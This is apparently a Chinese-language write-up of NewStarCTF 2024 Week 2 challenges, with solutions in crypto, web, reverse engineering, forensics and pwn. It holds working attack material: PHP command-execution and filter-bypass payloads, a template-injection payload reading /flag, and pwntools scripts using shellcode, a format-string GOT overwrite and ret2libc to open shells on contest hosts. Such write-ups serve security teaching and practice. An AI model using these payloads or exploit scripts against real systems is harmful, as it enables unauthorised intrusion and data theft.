CTF | 2024 NewStarCTF Week2 WP 


Crypto

这是几次方? 疑惑!

^ 在 Python (或者说大部分语言中)是异或的意思。再注意一下运算符优先级,^ < + 就好了。

Exploit

from Crypto.Util.number import *
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762

L = (p-1) * (q-1)
d = pow(e, -1, L)
m = pow(c, d, n)
print(long_to_bytes(m))

Since you konw something

又是 xor,加密挺简单的,就是一次异或运算。现在要找这个 key。

我们已经知道原文以 flag{ 开头,且以 } 结尾,我们把这个密文转为 hex 形式观察。

因为异或是按位运算的,所以我们可以先把已知的开头 5 个字符和结尾 1 个字符分别异或操作:

可以知道我们的 key 应该为 6E736E736E 开头,以 6E 结尾。很自然地想到可以在中间填充重复的部分即 6E73

填充到相同位数后,就可以拿到 Flag。

Exploit

from Crypto.Util.number import long_to_bytes

key = 0x6E736E736E736E736E736E736E736E736E736E736E736E736E736E736E
c =   0x081f0f14152a5e0631180043192c1a1b5d2c36431c2c0c401a075d0113    
print(long_to_bytes(key ^ c))

茶里茶气

TEA 解密,直接逆向解就能得到 Flag。

Exploit

from Crypto.Util.number import *

derta = 462861781278454071588539315363
l  = 199
p  = 446302455051275584229157195942211
v2 = 32 * derta
v2 %= p
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071

v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480

for i in range(32):
    v2 -= derta; v2 %= p
    v0 -= (v1 + v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
    v1 -= (v0 + v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ); v1 %= p

v1 += v0 << (l // 2)
v0 = v0 << (l // 2)

print(v0)
print(v1)
print(long_to_bytes(v0))
print(long_to_bytes(v1))

Just one and more than two

还是基本的 RSA,pqr 都给了所以直接套标准解法就好。

Exploit

from Crypto.Util.number import *

c1 = ...
c2 = ...
p = ...
q = ...
r = ...
e = ...

L = p - 1
d = pow(e, -1, L)
m = pow(c1, d, p)
print(long_to_bytes(m).decode(), end="")

p = p*q
q = r
L = (p-1) * (r-1)
d = pow(e, -1, L)
m = pow(c2, d, q)
print(long_to_bytes(m).decode(), end="")

Web

你能在一秒内打出八句英文吗

写个脚本贴到 Console 里,然后拼手速提交(。

const form = document.createElement('form');
form.method = 'POST';
form.action = '/submit';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'user_input';
input.value = document.getElementById("text").innerHTML;
form.appendChild(input);
document.body.appendChild(form);
form.submit();

遗失的拉链

根据题目提示,“拉链”->“zip”,爆破可得当前目录下存在 www.zip 。打开发现存在 pizwww.php ,审计代码:

  1. GET 方法传入 new 参数
  2. POST 方法传入 star 参数和 cmd 参数
  3. sha1(new)===md5(star)
  4. cmd 参数中不存在 catflag 关键字

第三点我们可以传入数组绕过,两个函数接收到数组均会输出 null

第四点我们可以传入新参数 1,然后 cmd 中填入 system($_GET["1"]); 来绕过限制。再将 cat /flag 传入参数 1

Payload

GET: ?new[]=1&1=cat /flag
POST: star[]=2&cmd=system($_GET["1"]);

PangBai 过家家(2)

这题真的搞心态啊。PHP 是真他妈的神奇。

首先先扫目录,发现存在 .git 目录。所以我们可以利用 git 泄露漏洞来获取到一些源码。

但是这题用 GitHack 你是扒不下来完整的 .git 库的,要用 GitHacker 才可以。

然后 git log 发现几个 commits 里没什么东西。目光转向 stash 。用 VSCode 自带的 git 工具就能看到一个 stash 中存有后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php ,打开!

审计源码:

  1. GET 传入 NewStar_CTF.2024 参数
  2. POST 传入 papafuncargs 参数
  3. papa === "TfflxoU0ry7c"
  4. NewStar_CTF.2024 !== "Welcome" 且和 /^Welcome$/ 完全匹配

首先第一个坑,也是硬控我几个小时的坑:NewStar_CTF.2024 该怎么传?

如果你 GET 中直接传入 ?NewStar_CTF.2024=... 的话,其实是会被转义成 NewStar_CTF_2024 的。解决办法在这篇文章中。TL; DR:将 _ 替换为 [ 绕过。

然后上面的第四点,怎么让这个参数既等于 Welcome 又不等于 Welcome 呢?其实 preg_match 是默认单行匹配模式,会忽略 LR(\n, %0A) 换行符。所以我们只要传入 Welcome%0A 就能绕过。

后面就能执行任意函数,Flag 在环境变量中,不多说了。

Payload

GET ?NewStar[CTF.2024=Welcome%0A
POST papa=TfflxoU0ry7c&func=system&args=cat /proc/self/environ

复读机

首先输入 {{ 2-1 }} 得到 1 ,可知存在 SSTI 注入。

Payload

{{ ''['__cla''ss__']['__base__']['__subcla''sses__']()[222].__init__.__globals__.__builtins__.open("/flag", "r").read() }}

谢谢皮蛋 Plus

在原题的基础上增加了空格限制,sqlmap --tamper space2comment,base64encode.py 即可。

Flag 在 ctf/Fl4g.value 中

Reverse

UPX

UPX 壳。

里面塞了个 RC4 加密,拖到赛博厨子里解密就好了。

drink_TEA

还是 TEA 加密,直接套解密算法即可。注意一些转换问题。

Ptrace

意义不明的 Ptrace。

son 反编译即可。

Exploit

#include <cstdio>

unsigned char ida_chars[] =
{
  0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 
  0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D, 0x8D, 0x2F, 0xEB, 0x6D, 
  0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 
  0xE7, 0xAF
};

int main() {
	for (int i = 0; i < 32; ++i) {
		int x = ida_chars[i];
		printf("%c", (x << 3) | (x >> 5));
	}
	
	return 0;
}

ez_encrypt

jadx-gui 打开 APK,定位 work.pangbai.ezencrypt.Enc ,同时 IDA 打开 ezencrypt\lib\x86_64\libezencrypt.so 反编译。

首先看到 enc 函数里面有个初次加密,照着写一遍就好了。然后 encc 函数具有 RC4 加密算法的特征 init_sbox ,所以再套一层 RC4。

回到 Java 层,发现套了个 AES/ECB 。密钥是 MainActivity.titleIamEzEncryptGame 。按顺序解密即可。

Exploit

import base64
from Crypto.Cipher import ARC4, AES

key = b"meow"
encrypted = [0xC2,0x6C,0x73,0xF4,0x3A,0x45,0x0E,0xBA,0x47,0x81,0x2A,0x26,0xF6,0x79,0x60,0x78,0xB3,0x64,0x6D,0xDC,0xC9,0x04,0x32,0x3B,0x9F,0x32,0x95,0x60,0xEE,0x82,0x97,0xE7,0xCA,0x3D,0xAA,0x95,0x76,0xC5,0x9B,0x1D,0x89,0xDB,0x98,0x5D]

k = 0
for i in encrypted:
    encrypted[k] = i ^ key[k % 4]
    k += 1

rc4_cipher = ARC4.new(key)
rc4_decrypted = base64.b64decode(rc4_cipher.decrypt(bytes(encrypted)))

aes_key = b"IamEzEncryptGame"
aes_cipher = AES.new(aes_key, AES.MODE_ECB)
print(aes_cipher.decrypt(rc4_decrypted))

Dirty_flowers

按照指示删除花指令,得到加密函数。

v3 = []

for i in range(36):
    v3.append(i)

v3[0] = 2
v3[1] = 5
v3[2] = 19
v3[3] = 19
v3[4] = 2
v3[5] = 30
v3[6] = 83
v3[7] = 31
v3[8] = 92
v3[9] = 26
v3[10] = 39
v3[11] = 67
v3[12] = 29
v3[13] = 54
v3[14] = 67
v3[15] = 7
v3[16] = 38
v3[17] = 45
v3[18] = 85
v3[19] = 13
v3[20] = 3
v3[21] = 27
v3[22] = 28
v3[23] = 45
v3[24] = 2
v3[25] = 28
v3[26] = 28
v3[27] = 48
v3[28] = 56
v3[29] = 50
v3[30] = 85
v3[31] = 2
v3[32] = 27
v3[33] = 22
v3[34] = 84
v3[35] = 15

key = b"dirty_flower"
length = len(v3)

i = 0
while i < length:
    v3[i] ^= key[i % len(key)]
    i+=1

print(bytes(v3))

Misc

wireshark_checkin

简单的 Wireshark 使用。

wireshark_secret

点击左边数据部分,按住 Ctrl+Shift+X 提取,后缀名为 .png 。然后读取图上 Flag 即可。

热心助人的小明同学

简单取证,用 Volatility 的 LSADump 功能就可以提取到明文密码。

用溯流仪见证伏特台风

Google 一下,那一天的原文在这里

按照视频中的方法操作即可。

你也玩原神吗

提瓦特解密,然后丢进随波逐流里 Fence 解密。

字里行间的秘密

Unicode 零宽加密,其实应该算简单的题目的。但是不知道为什么开始的时候少复制了几个字符导致解不出来。

这个工具可以解密。

然后打开加密的 Docx ,全选设置颜色即可看到 Flag。

Herta’s Study

(这周 Wireshark 怎么这么多。)

首先找到上传的 horse.php 的源码,

(这算 Web 题吗)

解密得到这个文件,把 Base64 后的奇数位的全都 ROT13 后输出。写个脚本解密

import codecs
import base64

print(base64.b64decode(''.join(map(lambda x: codecs.encode(x[1], 'rot_13') if x[0] % 2 else x[1], enumerate(input())))))

真正的 flag 在这里。

Pwn

Bad Asm

syscall sysenter int 屏蔽了,并且 code 中不能有 \x00 不然会被截断,且最开始要恢复栈结构。

Exploit

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = "debug"

p = remote("101.200.139.65", 22678)

#gdb.attach(p, "b exec")

payload = asm("""
    lea    rbp,[rip+0x1010402]
    lea    rsp,[rip+0x1010402]
    sub rsp, 0x1010301
    sub rbp, 0x1010201 # Recover the stack

    xor rax, rax                
    mov rax, 0x68732f6e69622f2f
    shr rax, 8 
    push rax 
    push rsp
    pop rdi
    xor eax, eax
    push rax
    mov al, 59
    push rsp
    pop rdx
    push rsp
    pop rsi # the execv arguments

    mov al, 0x3b                
    mov BYTE PTR [rip-9],0x0f
    mov BYTE PTR [rip-15],0x05
    jmp $ - 16 # syscall part
""" )

print(payload)

p.sendlineafter(b'Input your Code : ',  payload)
p.interactive()

ez_fmt

x86_64 字符串格式化漏洞,限制读入 0x30 个字节。使用 GOT Hijack 技术。

漏洞详解见这个链接

Exploit

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"
context.os = 'linux'

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

io = remote("39.106.48.123", 29675)
#io = process("./pwn"

puts_got = elf.got['puts']
printf_got = elf.got['printf']
memset_got = elf.got['memset']
payload1 = b'AAAAAAAA%10$sAAA' + p64(puts_got)
io.sendlineafter("data: \n", payload1)
io.recvuntil(b'AAAAAAAA')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

log.info("puts_addr => %s" % hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
log.info("libc_base => %s" % hex(libc_base))
sys_addr = libc_base + libc.sym['system']
log.info("sys_addr => %s" % hex(sys_addr))
printf_addr = libc_base + libc.sym['printf']
log.info("printf_got => %s" % hex(printf_got))
log.info("printf_addr => %s" % hex(printf_addr))

sys_addr_min = hex(sys_addr)[6:]
a = int(sys_addr_min[0:4], 16)
b = int(sys_addr_min[4:8], 16)

log.info("sys_addr1 => %s" % hex(a))
log.info("sys_addr2 => %s" % hex(b))

offset = 12
if a > b:
    payload = b"%" + str(b).encode() + b'c' + b"%" + str(offset).encode() + b"$hn"
    payload += b"%" + str(a - b).encode() + b'c' + b"%" + str(offset + 1).encode() + b"$hn"

    payload += (48 - 16 - len(payload)) * b'a'
    payload += p64(printf_got) + p64(printf_got + 2)
else:
    payload = b"%" + str(a).encode() + b'c' + b"%" + str(offset + 1 ).encode() + b"$hn"
    payload += b"%" + str(b - a).encode() + b'c' + b"%" + str(offset).encode() + b"$hn"

    payload += (48 - 16 - len(payload)) * b'a'
    payload += p64(printf_got) + p64(printf_got + 2)

#print(len(payload))

#io.sendline(fmtstr_payload(8, {printf_got: sys_addr}, 0, "short"))
io.recvuntil("data: ")
io.sendline(payload)
io.recv()
io.sendline("/bin/sh;\x00")
io.sendline("cat /flag")

io.interactive()

ez_game

简单的 x86_64 ret2libc 基本上模板题。

from pwn import *
from LibcSearcher import *

binary = ELF("./attachment", checksec=False)
p = remote("8.147.132.32", 30280)

main_addr = p64(binary.symbols.main)
print(main_addr)

puts_plt = p64(binary.plt.puts)
puts_got = p64(binary.got.puts)

pop_rdi = 0x0000000000400783
ret = 0x0000000000400509

offset = 80 + 8

payload_first = offset * b'a' + p64(pop_rdi) + puts_got + puts_plt + main_addr

p.sendlineafter(b"!!!!\n", payload_first)
p.recvuntil(b"again!!\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(real_puts_addr)

libc = ELF("./libc-2.31.so", checksec=False)
libc_base = real_puts_addr - libc.symbols.puts
system_addr = libc_base + libc.symbols.system
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
print(payload_end)
p.sendlineafter(b"!!!!\n", payload_end)
p.interactive()

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注